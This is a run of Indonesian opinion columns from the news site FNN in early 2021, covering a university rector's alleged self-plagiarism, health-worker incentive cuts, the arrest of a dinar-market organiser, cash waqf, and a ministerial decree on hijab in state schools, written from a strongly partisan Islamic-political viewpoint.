By Prof Dr OK Saidin SH MHum Medan, FNN - Di bagian ke-2 tulisan ini telah dikatakan bahwa sulit untuk mengatakan Dr Muryanto Amin tidak melanggar etika publikasi. Dan sulit pula untuk mengatakan keputusan rektor USU (periode 2016-2021) No. 82/UN5.1R/SK/KPM/2021 yang menyatakan bahwa Muryanto terbukti melakukan ‘self plagiarism’, adalah keputusan keliru. Selain menemukan Perkep LIPI 5/2014 dan Bab V Kode Etika Pengarang Jurnal Ilmiah butir 5.2.1, Komisi Etik (KE) USU juga mencari peraturan-peraturan lain yang senada dengan itu. KE memulai upaya untuk mencari hukum tersebut. Bagaimana pengaturan tentang itu pada perguruan tinggi lain dalam menyikapi peristiwa yang sama. Jika faktanya ada, perbuatannya ada dan bahkan aturannya ada, hanya saja tidak tegas, maka para ahli dan praktisi hukum boleh memberi tafsir obyektif dan konkrit yang dibenarkan dalam ilmu hukum yakni Tafsir Analogi. Berikut beberapa contoh. Pertama, Universitas Indonesia (UI). Berdasarkan keputusan Rektor UI No. 208/SK/R/UI/2009 tentang penyelesaian masalah plagiat yang dilakukan oleh sivitas akademika UI, di Pasal 1 angka 1 dikatakan bahwa plagiarisme adalah tindakan seorang yang mencuri ide atau pikiran yang telah dituangkan dalam bentuk tertulis dan/atau tulisan orang lain yang digunakan dalam tulisannya seolah-olah ide atau tulisan orang lain tersebut adalah ide, pikiran dan/atau tulisan sendiri sehingga merugikan orang lain baik material maupun non material, dapat berupa pencurian sebuah kata, frasa, kalimat, paragraf atau bahkan pencurian bab dari tulisan atau buku seseorang, tanpa menyebut sumbernya. Termasuk dalam pengertian plagiarisme adalah plagiarisme diri (self plagiarism). Plagiarisme diri adalah tindakan seorang yang menggunakan karyanya berulang-ulang, baik ide atau pikiran yang telah dituangkan dalam bentuk tertulis dan/atau tulisannya sendiri baik sebagian maupun keseluruhannya tanpa menyebutkan sumber pertama kalinya yang telah dipublikasikan, sehingga seolah-olah merupakan ide, pikiran dan/atau tulisan yang baru dan menguntungkan diri sendiri. Kedua, peristiwa di lingkungan sivitas akademika perguruan tinggi agama Islam. Pihak Kementerian Agama menerbitkan aturan yang dimuat dalam Keputusan Direktur Jenderal Pendidikan Islam Nomor 7142/2017 tentang pencegahan plagiarisme di perguruan tinggi Islam. Dijelaskan di butir D (ketentuan plagiarisme) angka 2 (tipe-tipe plagiarisme), huruf (d) bahwa self plagiarism adalah salah satu tipe plagiarisme. Yang termasuk dalam tipe plagiarisme itu adalah: (a)-Plagiat kata demi kata. Penulis menggunakan kata‐kata penulis lain (persis) tanpa menyebutkan sumbernya; (b)-Plagiat atas sumber. Penulis menggunakan gagasan orang lain tanpa memberikan pengakuan yang cukup (tanpa menyebutkan sumbernya secara jelas); (c)-Plagian kepengarangan. Penulis mengakui sebagai pengarang karya tulis karya orang lain; (d)-Self Plagiarism yang termasuk dalam tipe ini adalah seperti penulis mempublikasikan satu artikel pada lebih dari satu redaksi publikasi dan mendaur ulang karya tulis/karya ilmiah. Yang penting dalam menghindari self plagiarism adalah bahwa ketika mengambil karya sendiri, maka ciptaan karya baru yang dihasilkan harus memiliki perubahan yang berarti. Artinya karya lama merupakan bagian kecil dari karya baru yang dihasilkan. Sehingga pembaca akan memperoleh hal baru, yang benar‐benar penulis tuangkan pada karya tulis yang menggunakan karya lama. . Komisi Etik juga tidak berhenti sampai di situ. Di samping penafsiran analogi, sumber hukum yang lain yang dirujuk adalah doktrin atau pendapat ahli. Semua ahli mengatakan bahwa perbuatan self-plagiarism adalah suatu perbuatan yang masuk dalam kategori pelanggaran norma dan etika akademik. Dr Henry Soelistio Budi, Direktur Program Pasca Sarjana Universitas Pelita Harapan yang juga pakar hukum bidang plagiat mengatakan bahwa perbuatan yang dilakukan oleh Dr Muryanto Amin adalah termasuk dalam kualifikasi perbuatan self-plagiarism, yaitu mempublikasikan satu artikel pada lebih dari satu redaksi publikasi dan mendaur ulang karya tulis/karya ilmiah. Komisi Etik juga tidak berhenti sampai di situ. Komisi Etik juga menelusuri kasus-kasus yang pernah terjadi di lingkungan USU sebagai jurisprudensi dalam kasus yang sama. Komisi Etik menemukan: (a)-Keputusan Rektor USU No.30/UN5.1.R/SK/SDM/2013 Tentang Penjatuhan Sanksi Bagi Dosen yang Melakukan Plagiat (plagiat antar jurnalnya sendiri) a.n. Dr Maulida ST MSc; (b)-Keputusan Rektor USU No.149/UN5.1.R/SK/SDM/2015 Tentang Penjatuhan Sanksi Bagi Dosen yang Melakukan Plagiasi (autoplagiasi) a.n. Drs Arifin Lubis. Berdasarkan uraian di atas, dapat disimpulkan bahwa perbuatan self-plagiarism, double publication, atau salami publication, atau publikasi ganda itu bukan peristiwa yang baru. Bukan juga perbuatan yang dibenarkan di berbagai perguruan tinggi di Indonesia. Self-plagiarism, double publication, atau salami publication, atau publikasi ganda, seumpama keukeuh yang sudah kadaluwarsa yang diberi label bertanggal baru. Itu kejahatan luar biasa yang tidak terampuni. Senada dengan perumpamaan itu, meminjam istilah Dr Henry Soelistyo Budi, self- plagiarism adalah kejahatan tak berdarah dalam dunia akademik. Bahkan ilmuwan terkemuka di Indonesia Fachry Ahli dalam account Facebook-nya, tanggal 20 Januari 2021, dengan mengutip pandangan Pro R William "Bill" Liddle mengatakan bahwa "aksi plagiat tak terampuni di dunia akademis tempatnya di "intib" (kerak) neraka. Lebih lanjut Fachry menggambarkan betapa kehidupan akademis harus jujur secara paripurna. Bahkan self-plagiarism (mengajukan tulisan lama sebagai tulisan baru atau penelitian baru) disebutnya sebagai sebuah kejahatan fatal. Rocky Gerung menyebutnya sebagai perbuatan incest, perkawinan sedarah. Perbuatan ini membuat perguruan tinggi mandek, tidak berkembang karena karya yang ditampilkan itu-itu saja, tak ada ide baru, tak ada gagasan baru, tak ada inovasi. Perbuatan itu lebih pada upaya untuk pencitraan, untuk kum kenaikan pangkat. Tapi sekali lagi, setelah Mendikbud menerbitkan Keputusan No 6169/MPK.A/KP/2021 Tentang Pencabutan Keputusan Rektor USU No 82/UN5.1.2/SK/KPM/20, kita anggaplah ini sebuah ketidak tahuan dan ketidak fahaman para staf di Kementerian dalam membaca peraturan baik yang tertulis maupun yang tidak tertulius. Etika kerap kali wujudnya dalam bentuk tidak tertulis. Setelah terbit keputusan Mendikbud ini, banyak kekhawatiran di kalangan akademisi USU. Misalnya, bagaimana Kementerian merehabilitasi nama baik dua dosen yang telah pernah dijatuhi hukuman dalam kasus yang sama? Apakah ini tidak menjadi bumerang bagi pihak kementerian sendiri jika ada dosen yang mengusulkan kenaikan pangkatnya menggunakan tulisan dengan kasus yang sama, yang selama ini tertolak di kementerian? Kemudian, bagaimana jika mahasiswa mengikuti cara-cara itu dalam menulis dan mempublikasikan karya ilmiahnya? Jadi pantas saja langkah Kementerian ini mengundang banyak tanda tanya. Ada apa di Kementerian Pendidikan dan Kebudayaan hari ini, sehingga pihak Kementerian "menutup mata" terhadap kasus ini. Apakah ada "kekuatan lain" di luar sana yang mengintervensi kekuasaan di Kemendikbud yang sedang mengumandangkan jargon, "Kampus Merdeka-Merdeka Belajar"? Atau tindakan ini dilakukan oleh segelintir oknum di Kementerian yang salah memberi informasi kepada Menteri? Kita tentu tak boleh menduga-duga. Apapun juga keputusan telah diambil. Dr Muryanto Amin telah resmi dilantik menjadi Rektor periode 2021-2026. Persoalannya, apakah dengan begitu masalah USU sudah selesai? Tampaknya peristiwa ini akan menyimpan banyak persoalan dalam perjalanan USU ke depan dan ini tak boleh dipandang sebagai persoalan remeh. Ini akan menjadi masalah serius, apalagi setelah "Tempo" menempatkan isu ini sebagai "Laporan Utama" media yang memiliki integritas di republik ini, yang bermakna bahwa kasus ini bukan kasus yang bisa dipandang "sebelah mata".[] === Penulis adalah Guru Besar Hukum USU, Ketua Asosiasi Pengajar Hukum Hak Kekayaan Intelektual Indonesia (Periode Tahun 2017-2020 dan 2020-2023). Ketua Komisi Kelembagaan Akademik, Perencanaan dan Anggaran Senat Akademik Universitas Sumatera Utara (Periode Tahun 2020-2025)

Insentif Nakes: Gaduh Yang Tak Perlu

By Tamsil Linrung Jakarta, FNN - Ada tiga fakta serius dalam perkembangan Covid-19 di tanah air. Pertama, Januari 2021, Indonesia menjadi negara pertama di Asia Tenggara yang menembus satu juta kasus covid-19. Kedua, Indonesia juga mencatat sejarah baru angka kematian akibat Covid-19 tertinggi, tidak hanya di Asia Tenggara tetapi bahkan di Asia. Ketiga, Indonesia berada pada peringkat teratas di Asia dan nomor tiga tertinggi di dunia dalam jumlah kasus kematian Tenaga Kesehatan (Nakes) akibat Covid-19. Tiga fakta itu bertali-temali. Dan Nakes berada tepat di tengah, diapit antara perjuangan menyelematkan nyawa pasien dan upaya melindungi keselamatan diri sendiri. Mereka berdiri di tapal batas antara sehat dan terjangkit, hidup dan mati. Tingginya angka kematian Nakes berpotensi mengakibatkan penanganan pasien yang tidak optimal di kemudian hari. Pemerintah telah berupaya menambal celah itu. Saat membahas anggaran bersama Komite IV DPD RI Januari lalu, Menteri Keuangan Sri Mulyani mengatakan akan menambah sebanyak 8.572 Nakes untuk ditempatkan di 148 fasilitas kesehatan di seluruh Indonesia. Langkah itu baik dan harus kita dukung. Namun, bagi kami yang membidangi kesehatan di Komite III DPD RI, problemnya tentu bukan sebatas menambal celah bolong Nakes secara kuantitas. Ketika negara meminta mereka ke medan perang melawan Covid-19, maka Pemerintah wajib menjamin kualitas kehidupan mereka, fisik maupun psikologis, materi maupun non-materi. Insentif yang Gaduh Sayangnya, gaduh pemotongan insentif Nakes sempat memecah fokus perjuangan Nakes. Pemantiknya, Surat Keputusan Menteri Keuangan yang ditandangani Sri Mulyani pada 1 Februari 2021. Dengan SK ini, besaran insentif Nakes dipangkas hingga 50 persen. Tak pelak, protes pun bermunculan dari banyak arah. Beberapa di antaranya disuarakan oleh Ikatan Dokter Indonesia (IDI), Persatuan Perawat Nasional Indonesia (PPNI), LaporCovid19, Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI), dan lain-lain. Komisi IX DPR juga tegas menolak. Saya sendiri, selaku anggota Komite III DPD RI yang membidangi kesehatan, juga menyayangkan keluarnya SK Menkeu tersebut. Untungnya, Pemerintah cukup responsif. Belakangan, niat itu dianulir. Kita mengerti bahwa di tengah situasi keuangan negara yang terbatas, Pemerintah tentu bekerja ekstra keras mengakali paceklik. Namun, langkah yang ditempuh harus pula menimbang faktor psikologis masyarakat. Ketika perancangan kebijakan menyangkut penanganan Covid-19, situasi psikologis Nakes tentu menjadi faktor penting yang harus diperhatikan. Itulah sebabnya, agenda kebijakan sebaiknya terlebih dahulu digodok secara matang sebelum akhirnya disajikan dalam bentuk keputusan. Dengan begitu, kebijakan tidak justru menjadi sumber persoalan baru atau setidaknya menjadi sumber kegaduhan baru. Insentif sungguh bukan semata soal uang. Bahkan terlalu menyederhanakaan masalah bila sudut pandangnya dibangun dari arah sana. Insentif adalah wujud apresiasi negara kepada Nakes yang ditugaskan Pemerintah berjuang di medan berisiko tinggi. Insentif adalah salah satu cara negara berterima kasih. Kita tahu, okupasi rumah sakit akan tinggi seiring meningginya laju Covid-19. Rumah sakit rujukan Covid-19 bahkan banyak yang telah penuh. Sebagian pasien dirawat atau diisolasi di hotel atau rumah singgah lainnya sehingga Nakes harus pula terkonsentrasi di sana. Dilema insentif Nakes bukan kali ini saja. Jika kita mengamati pemberitaan media massa, di sana-sini, ada saja berita tentang insentif sebagian Nakes yang tertunda atau belum terselesaikan. Problemnya memang tidak melulu di Pemerintah, tetapi juga pada Pemerintah Daerah. Namun, penanganan Covid-19 tentu harus dirumuskan sebagai orkestra perlawanan yang padu, dalam satu jalur komando yang efektif-efesien. Dukungan Masyarakat Bangsa ini sesungguhnya punya modal besar menanggulangi wabah. Perjalanan pandemi telah mendidik dan membangun kesadaran masyarakat hidup dalam protokol kesehatan yang cukup baik. Rakyat agaknya juga optimistis, mendukung, dan percaya bahwa pemulihan ekonomi oleh Pemerintah dapat mengatasi dampak Covid-19 terhadap kehidupan perekonomian mereka. Kesimpulan ini tergambar dari hasil survei Indonesia Development Monitoring (IDM) yang dirilis 31 Januari 2021. Optimisme masyarakat terbaca sebesar 81,9 persen. Namun, melalui survei yang sama, IDM juga menemukan bahwa 63,8 persen responden menyatakan pemerintahan Joko Widodo tidak dikelola secara clean Government. Persepsi ini salah satunya dilecut oleh perilaku pungli dan koruptif yang dipertontonkan sebagian pejabat. Oleh karena itu, cara memutuskan kebijakan hendaknya tidak mendegradasi harapan dan dukungan rakyat yang besar tadi. Apalagi bila kebijakan dimaksud terkait alokasi anggaran, termasuk gonjang-ganjing pemotongan insentif. Masalah pandemi covid-19 memang saling tumpang tindih dengan problem ekonomi bangsa. Titik balik perbaikan ekonomi akan sangat bergantung kepada penanganan pandemi Covid-19. Sebaliknya, penanganan pandemi tentu memerlukan alokasi biaya yang tidak sedikit. Ini seperti simalakama. Namun kita tidak harus terjebak dalam simalakama itu. Sebab barangkali saja ada pos anggaran lain di luar penanganan Covid-19 yang bisa ditunda dan dialihkan untuk menanggulangi situasi darurat ini. Kreativitas perencanaan memang dibutuhkan. Sekarang, kita sudahi gaduh insentif. Kita kembali menyinergikan semua inisiatif baru penanganan Covid-19, baik sektoral kesehatan maupun non kesehatan. Gagasan dan penerapannya harus dibuat dalam satu garis komando yang padu, dengan skala prioritas terukur. Yang sedang berjalan saat ini adalah program vaksinasi. Ayo kita sukseskan. Penulis adalah Senator Komite III DPD RI

Kejarlah Dinar dan Kau pun Kutangkap

PENGELOLA pasar muamalah di Depok, Zaim Saidi, tiba-tiba ditangkap penyidik Direktorat Tindak Pidana Ekonomi Khusus (Dirtipideksus) Bareskrim Polri, pada Selasa (2/2/2021) malam. Padahal, Zaim sudah mengelola pasar muamalah cukup lama, bahkan menggagas ide transaksi Dinar sudah melewati beberapa presiden. Mengapa di periode Presiden Jokowi justru ia ditangkap? Dalam konferensi pers, Rabu (3/2/2021), polisi mengatakan Zaim Saidi merupakan inisiator, penyedia lapak, dan pengelola pasar muamalah di Tanah Baru, Depok, Jawa Barat. Ia juga menyediakan wakala induk tempat menukarkan mata uang Rupiah ke Dinar atau Dirham sebagai alat transaksi jual-beli di pasar muamalah. Di pasar muamalah itu, seluruh transaksi perdagangan bukan menggunakan mata uang Rupiah, melainkan Dinar atau Dirham. Menurut temuan penyidik, Zaim Saidi membentuk pasar muamalah bagi komunitas masyarakat yang ingin berdagang dengan aturan dan tradisi pasar di zaman Nabi. Kepala Bagian Penerangan Umum Divisi Humas Polri Komisaris Besar Ahmad Ramadhan mengatakan, Zaim dijerat dua pasal pidana. Pertama, yaitu Pasal 9 UU Nomor 1 Tahun 1946 tentang Hukum Pidana (KUHP). Pasal itu menyatakan bahwa siapa saja yang membuat benda semacam mata uang atau uang kartal untuk dijadikan alat pembayaran yang sah, dihukum dengan hukuman penjara setinggi-tingginya 15 tahun penjara. Kedua, Pasal 33 UU Nomor 7 Tahun 2011 tentang Mata Uang. Pasal itu menyebut setiap orang yang menolak pembayaran dengan mata uang Rupiah dipidana dengan pidana kurungan paling lama satu tahun penjara dan denda Rp 200 juta. Polisi terus mendalami kemungkinan adanya cabang pasar muamalah di daerah lainnya. Ia mengatakan, polisi akan mengambil tindaka tegas jika ditemukan adanya pasar serupa di daerah lain. Wakil Presiden Ma'ruf Amin menilai praktik pasar muamalah merusak ekosistem ekonomi dan keuangan nasional karena transaksinya tak mengikuti peraturan yang sudah berlaku. Tujuannya mungkin untuk menegakkan pasar syariah, tetapi kan kita ada mekanisme dalam sistem kenegaraan. Sehingga, ketika itu kemudian ada suatu (praktik ekonomi) di luar itu, tentu itu akan merusak ekosistem daripada ekonomi dan keuangan nasional. Ma'ruf menilai, pasar muamalah tak bisa dibilang kegiatan untuk mengembangkan ekonomi dan keuangan syariah. Pasalnya, kegiatan tersebut harus sejalan dengan penguatan sistem ekonomi nasional. Menurutnya, kegiatan pasar muamalah yang bertransaksi menggunakan mata uang selain rupiah merupakan bentuk penyimpangan dari sistem yang sudah ada. Setiap kegiatan yang berkaitan dengan syariah harus memiliki rujukan yang jelas. "Perbankan syariah di Indonesia ada aturannya, Surat Berharga Syariah Negara (SBSN) ada aturannya dan undang-undangnya, ada aturan pelaksanaannya, bahkan ada juga fatwanya dari Dewan Syariah Nasional Majelis Ulama Indonesia (DSN-MUI)," kata Ma'ruf. Tentu saja penangkapan Zaim Saidi mengundang banyak tanya, terutama transaksi non-rupiah juga terjadi di mana-mana. Bahkan, transaksi di Tima Zone di mall-mall pun relatif sama dan sejenis, di mana anak-anak pengguna mainan di Time Zone harus menukar rupiah dengan logam buatan pengelola, lalu dengan logam ini sang anak bisa bermain di arena apa pun yang diinginkan. Transaksi e-toll card, e-busway, jak lingko, bitcoin, pun menggunakan mekanisme yang kurang lebih sama. Yakni menukar rupiah dengan poin yang kemudian di dalam kartu. Bahkan di Bali, para pelancong bisa bertransaksi dengan wepay, alipay, bitcoin untuk beberapa souvenir, ternyata aman-aman saja. Seolah ada diskriminasi yang berbau Islam harus dibumihanguskan, diberangus, ditangkap. Seolah pasar muamalah mengarah pada penerapan khilafah. Benarkah demikian? Tentu saja kita melihat penangkapan Zaim Saidi dengan pasar muamalahnya sangat berlebihan. Dalam kondisi ekonomi yang krisis, pasar muamalah justru dapat menggairahkan ekonomi setempat. Itu sebabnya Majelis Ulama Indonesia (MUI) justru mendukung pasar muamalah. Apalagi penangkapan Zaim dengan menggunaan sangkaan yang masih debatabel dan berlebihan. Semangat bersyariah tidak melulu dicita-citakan dan digandrungi masyarakat muslim, melainkan semangat bersyariah sudah dianggap sebagai sebuah "platform yang adil". Artinya semangat bersyariah menjadi pilihan banyak masyarakat yang tidak terbatas pada masyarakat muslim saja. Pimpinan beberapa bank syariah di Singapura atau beberapa negara lain tidak diisi oleh mereka yang muslim. Kenapa? Karena realitasnya ternyata ekonomi syariah menjadi platform ekonomi yang banyak menjadi pilihan di dunia. Selain itu, tudingan pelanggaran Pasal 9 UU No.1/1946 dianggap tidak tepat digunakan untuk menjerat salah satu aktivis Ikatan Cendekiawan Muslim Indonesia (ICMI) itu. Karena yang dilarang adalah membuat mata uang yang seolah-olah berlaku di Indonesia selain rupiah, tetapi faktanya, Zaim hanya membuat atau memesan emas dari PT Antam, sebuah perusahaan Badan Usaha Milik Negara (BUMN). Realitasnya yang dibuat atau dipesan dari Antam adalah batangan kecil emas yang diidentifikasi sebagai mata uang Dinar atau Dirham. Jika ini dianggap sebagai pidana, maka Antam pun sebagai harus ikut diminta pertanggungjawaban secara hukum. Termasuk jika yang dimaksud membuat semacam kupon atau bentuk barang yang diidentifikasi sebagai alat bayar, maka tafsir ini juga berbahaya. Sebab, banyak pusat perbelanjaan dan permainan yang menggunakan kupon atau semacam benda yang dapat digunakan sebagai alat bayar di kasir tertentu akan dilarang juga seperti Eat & Eat atau Time Zone. Demikian pula dengan sangkaan Pasal 33 UU No.7/2011 tentang mata uang, karena tersangka diduga tidak menggunakan rupiah sebagai alat pembayaran dalam transaksi, juga masih debatable. Alasannya, apakah kepingan emas yang digunakan dan didentifikasi sebagai mata uang itu benar produk sebuah negara dengan identifikasi seri mata uang atau hanya kepingan emas saja yang nilai tukarnya sama dengan berat ringannya. Jika benda yang disebut Dirham itu bukan produk negara yang mengeluarkan, maka polisi tidak bisa menjerat Zaim dengan ketentuan ini. Selain itu, jika tekanannya pada perbuatan mencari keuntungan, maka alat bayar di kasir tertentu akan dilarang juga seperti Eat & Eat atau Time Zone. Selain itu, jika tekanannya pada perbuatan mencari keuntungan, maka tidak tepat juga menerapkan pasal tersebut terhadap mata uang itu. Karena jika masyarakat yang membeli merasa dirugikan itu namanya penipuan, tetapi jika tidak ada yang dirugikan dan tidak ada yang menuntut, maka itu masuk pada ranah perdata perjanjian biasa sebagai sebuah kesepakatan, dan tangan pidana tidak dapat menjeratnya. Perbuatan ini baru bisa ditarik ke ranah pidana jika ada kepentingan umum yang dilanggar dalam hal ini 'menggunakan mata uang asing' dalam bertransaksi di Indonesia. Realitasnya belum tentu yang disebut Dinar itu masuk kualifikasi sebagai mata uang, yang pasti ia benda berharga, yaitu logam mulia. Hati-hati, jangan sampai timbul kesan bersyariah kok dipidanakan? Jangan-jangan suatu saat sholat, zakat, puasa dan haji pun dikriminalkan. Jangan memancing kemarahan ummat. **

Kepo Dengan Wakaf Uang

by Ustadz Felix Siauw Jakarta FNN - Cuaca kering dan panas saat itu hampir saja melelehkan gunung. Sedangkan keadaan kaum Muslim sedang sangat sulit sebab paceklik yang melanda. Karena itu Rasulullah Salallaahu Alaihi Wasallam menyeru pada kaum Muslim, siapakah yang ingin memberikan hartanya, membiayai jaisyul ‘usrah (pasukan sulit), yang berjihad ke Tabuk yang berjarak hampir 700 kilometer jauhnya. Utsman Bin Affan datang kepada Rasulullah Salallaahu Alaihi Wasallam dan menyerahkan 970 ekor untanya, berikut 50 kuda, beserta 700 uqiyah emas (sekitar Rp. 21,2 miliar, 1 gram emas = Rp. 956.000). Abdurrahman Bin Auf datang dengan 200 uqiyah emas (sekitar Rp. 6 miliar). Umar Bin Khatab datang dengan 1/2 hartanya, dan Abu Bakar malah menyedekahkan 100% hartanya. Para sahabat berinfaq dengan maksimal, ketika Rasulullah Salallaahu Alaihi Wasallam sebagai kepala negara menyeru mereka berinfaq. Mereka berinfaq tanpa khawatir, dan ragu dengan rezeki Allah atau kehabisan hartanya kelak. Semua sahabat berlomba-lomba untuk memenuhi seruan Rasulullah Salallaahu Alaihi Wasallam. Lebih hebatnya lagi adalah semua infaq itu mereka lakukan dalam keadaan yang lagi sempit dan susah Kok bisa sih? Ya bisalah, karena mereka sudah berakhir dengan trust pada Allah dan Rasul-Nya semata. Sebab dalam Islam, ketika manusia sudah punya iman (trust) hanya pada Allah dan Rasul-Nya, maka sangat ringan bagi mereka untuk menginfakkan hartanya. Tidak hanya sekali, dua kali atau tiga kali. Tetapi kapanpun Allah dan Rasul-Nya memerlukan, mereka langsung saja memberikan tanpa pikir ini dan itu. Pengorbanan yang seperti itu tidak datang dengan tiba-tiba. Tetapi harus didahului dengan keyakinan yang luar biasa tingginya. Maka Rasulullah Salallaahu Alaihi Wasallam berpesan pada Muadz saat mengutusnya ke Yaman, untuk mengajak manusia bersyahadat, ajari mereka menegakkan salat, barulah ambil zakat dari mereka. Karena mengorbankan harta adalah konsekuensi dari keimanan. Berkali-kali Allah mengaitkan jihad dengan dua hal, jiwa dan harta. Lalu siapa yang diseru Allah untuk mengorbankan harta? Hanya kepada orang yang beriman. Sebab mereka yang taidk beriman, tak akan mungkin tertarik, berinfaq kecuali berharapa pada investasi dan keuntungan dunia semata. Sebab mereka tidak meyakini adanya kehidupan setelah berakhir di dunia. Zaman now, kita diminta untuk wakaf uang. Sementara imannya nggak didahulukan untuk dikuatkan dan ditingkatkan. Yang lebih parah lagi, Islam dijadikan sebagai tertuduh . Perilakunya Islamophobia, lalau kriminalisasi terhadap ulama terjadi dengan telanjang. Ketidakadilan jadi tontonan sehari-hari. Dana Bantuan Sosial (Bansos) dikorupsi oleh para pejabat negara tanpa malu-malu. Tragisnya, di tengah-tengah semua prilaku itu, dengan tanpa malu-malu meminta uang wakap kepada ummat Islam. “Ayo wakaf uang”. What? Hebat sekali wajah yang meminta wakap itu. Padahal, andaikan saja para pemimpin mencontohkan sikap kepedulian terhadap agama. Meyakinkan kepada ummat bahwa kesemuanya ini adalah bagian untuk menegakkan agama, dan bakal memberikan kebaikan bagi semuanya. Kalau itu yang dilakukan pemerintah, maka saya yakin tanpa perlu meminta saja, rakyat sudah pasti akan berinisiatif untuk membantu dan mengumpulkan segenap kekuatan yang ada. Atau, andaikan saja yang meminta untuk rela melakukan wakaf uang itu adalah “Dia yang sekarang ini terdzalimi di penjara itu”, maka kira-kira mana yang kaum Muslimin rela untuk memberikannya? Tulis dan jawab saja sendiri di komen deh. Harusnya pemerintah introspeksi. Face it, admit it, trust is the problem. Jangan hanya Islam yang dibully, namun yang menista Islam didiamkan saja. Mereka yang menghina Islam dibiarkan bebas berkeliaran. Sementara ulama dipenjarakan, dikatakan radikal, intoleran, syariat ditolak, khilafah dimonsterisasi. Giliran urusan duit saja, mintanya juga dari wakaf. Padahal taipan-taipan yang uangnya banyak, kenapa tidak diminta buat Indonesia? Untuk saja mereka para taipan itu, kita sudah tau jawabnya. Sejarah telah memberitahu, adalah kaum Muslim yang paling peduli terhadap negerinya. Yang bukan hanya mengorbankan harta, tetapi juga nyawa dan raganya, andai itu diperlukan untuk melindungi negeri yang menjamin tegaknya agama mereka. Penulis adalah Pendakwah dan Pemerhati Sosial Kemasyarakatan.

SKB Tiga Menteri Soal Jilbab Bertentangan Dengan Pancasila & UUD 45

by Tarmidzi Yusuf Bandung FNN - Tiga menteri, yaitu Menteri Dalam Negeri, Menteri Pendidikan dan Menteri Agama, baru-baru ini mengeluarkan Surat Keputusan Bersama (SKB) larangan sekolah negeri mewajibkan pemakain jilbab. Padahal urusan jilbab menjadi urusan pribadi siswa dan orangtuanya. Sekolah (baca : negara) tidak boleh ikut campur. Masa sih? Kebijakan SKB tiga menteri ini ditengarai dipenuhi dengan rasa “kebencian dan Islamphobia” yang sangat tinggi. Mengingatkan kita kembali pada era tahuan 1980-an. Ketika itu pemerintah Orde Baru membuat kebijakan tentang larangan berjilbab di sekolah negeri dan instansi pemerintah. Setelah 30 tahun, kejadian itu terulang kembali. Setback. Negara enam tahun terakhir ini sering mengintervensi kehidupan ummat beragama, khususnya ummat Islam. Padahal, Indonesia negara berdasarkan atas Ketuhanan Yang Maha Esa, dan negara menjamin kebebasan ummat beragama untuk melaksanakan ajaran agama sesuai dengan keyakinannya (Pasal 29 UUD 1945). Jilbab termasuk dalam ajaran agama dan keyakinan tersebut. Belum lagi tujuan pendidikan nasional itu sangat mulia. Berdasarkan UUD 1945 Pasal 31 ayat 3 menyebutkan “pemerintah mengusahakan dan menyelenggarakan satu sistem pendidikan nasional, yang meningkatkan keimanan dan ketakwaan serta akhlak mulia dalam rangka mencerdaskan kehidupan bangsa yang diatur dengan undang-undang”. Mulia sekarang rangkaian kali di UUD 1945 ahsil amandemen tersebut. Sementara menurut Pasal 31 ayat 5, masih dalam UUD 1945 menyebutkan, “pemerintah memajukan ilmu pengetahuan dan teknologi dengan menjunjung tinggi nilai-nilai agama dan persatuan bangsa untuk kemajuan peradaban serta kesejahteraan umat manusia”. Semakin mulia lagi kalau membacanya dengan baik pelan-pelan. Sedangkan menurut UU No 20 Tahun 2003, tujuan pendidikan nasional adalah untuk mengembangkan kemampuan dan membentuk watak serta peradaban bangsa yang bermartabat dalam rangka mencerdaskan kehidupan bangsa. Ini pesan dari alinea keempat Pembukaan UUD 1945. Semakin tinggi kemuliaan itu. Dengan demikian, terbitnya SKB tiga menteri Nomor 02/KB/2021, Nomor 025-199 Tahun 2021, dan Nomor 219 Tahun 2021 dapat dikategorikan sebagai bertentangan dengan Pancasila dan UUD 1945 Pasal 29 dan Pasal 31 serta UU No 20 tahun 2003. Oleh karenanya, SKB tiga menteri ini harus dicabut dan batal demi hukum dan keadilan sosial. Negara tidak boleh kalah oleh oknum tertentu, sehingga negara menjadi paradoks bila sudah berurusan dengan ummat Islam. Setidaknya dapat kita baca dalam enam tahun terakhir ini. Semakin brutal dan menjadi-jadi. Paradoks karena Islam dilarang masuk dalam urusan negara. Tetaapi negara sering mengobok-obok urusan ummat Islam. Jilbab dan kurikulum madrasah sebagai contoh nyata. Ummat Islam dilarang mengamalkan atribut keagamaan di sekolah. Sementara dana haji, zakat dan infaq, terakhir wakaf ummat Islam “diambil” oleh negara. Kalau uangnya umamat Islam, ternyata boleh diambil dan dipakai oleh negara. Namun ajarannya Ummat islam dilarang untuk dialaksanakan di sekolah-sekolah negeri dan instansi pemerintah. Ini aneh tapi nyata. Selain itu, ummat Islam yang konsisten dalam melaksanakan ajaran Islam diberikan predikat intoleran, radikalime dan ekstrimisme. Berjilbab dianggap sebagai intoleran. Padahal, setiap agama punya ciri khas masing-masing sesuai ajaran agamanya. Sedangkan kelompok Islam senang berada di garis bengkok dan menyimpang, sengaja dipelihara dan difasilitasi oleh negara. Bhinneka tunggal ika, berbeda-beda tetap satu. Artinya, negara menjamin perbedaan masing-masing agama dalam bingkai negara kesatuan yang bernama Republik Indonesia. Bukan berarti penyeragaman tradisi keagamaan dalam satu tradisi ke-Indonesia-an. Negara sering bertindak tidak adil terhadap ummat Islam. Wajar muncul anggapan kalau rezim sekarang seolah-olah mengadopsi politik belah bambu ala imperialis Belanda dulu. Islam yang bertentangan dengan Al-Qur'an dan Sunnah Rasulullah Salallahu Alaihi Wasallam diangkat dan disanjung-sanjung. Sementara, Islam yang melaksanakan Al-Qur'an dan Sunnah Rasulullah Salallahu Alaihi Wasallam diinjak, diintimidasi dan dikriminalisasi. Negara oleh oknum yang berkuasa sekarang, seperti tidak punya iktikad baik terhadap ummat Islam. Seringkali “memerangi Islam garis lurus”. Wajar kalau Ummat Islam menduga ada konspirasi yang melibatkan partai merah, partai hijau dan PKI dalam wadah bernama “Nasakom Gaya Baru” yang sangat mewarnai perpolitikan hari ini. Penulis adalah Pegiat Dakwah dan Sosial.

74 Tahun HMI, Reformasi Internal Untuk Komitmen Keislaman & Keindonesiaan

